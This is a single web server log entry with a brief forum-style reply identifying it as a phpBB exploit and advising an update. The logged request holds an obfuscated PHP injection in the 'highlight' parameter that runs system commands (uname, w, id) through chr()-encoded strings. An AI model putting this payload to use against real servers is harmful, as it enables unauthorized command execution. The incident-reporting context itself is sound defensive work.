83.103.197.78 - - [28/Dec/2005:20:26:42 -0500] "GET /phpBB2//viewtopic.php?t=15&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(117)%252echr(110)%252echr(97)%252echr(109)%252echr(101)%252echr(32)%252echr(45)%252echr(97)%252echr(59)%252echr(119)%252echr(59)%252echr(105)%252echr(100)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 HTTP/1.1" 200 32790
I think this is an exploit for the phpBB forum software. You should update the software and/or ask the phpBB support.